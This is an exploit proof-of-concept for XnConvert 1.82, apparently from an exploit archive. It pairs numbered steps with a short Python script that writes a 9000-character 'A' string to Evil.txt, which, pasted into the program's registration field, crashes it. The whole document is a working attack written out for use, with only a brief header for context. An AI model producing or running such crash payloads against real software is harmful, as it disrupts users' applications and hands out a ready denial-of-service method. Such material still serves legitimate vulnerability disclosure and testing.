# Exploit Title: XnConvert 1.82 - Denial of Service (PoC)# Date: 2019-12-21# Vendor Homepage: https://www.xnview.com# Software Link: https://www.xnview.com/en/apps/# Exploit Author: Gokkulraj (TwinTech Solutions)# Tested Version: v1.82# Tested on: Windows 7 x64# 1.- Download and install XnConvert# 2.- Run python code : XnConvert.py# 3.- Open EVIL.txt and copy content to clipboard# 4.- Open XnConvert and Click 'EnterKey'# 5.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code'# 6.- Click 'OK' and you will see a pop-up stating Invalid code and then click 'OK' you will see the crash.#!/usr/bin/env python
Dos= "\x41"* 9000
myfile=open('Evil.txt','w')
myfile.writelines(Dos)
myfile.close()
print("File created")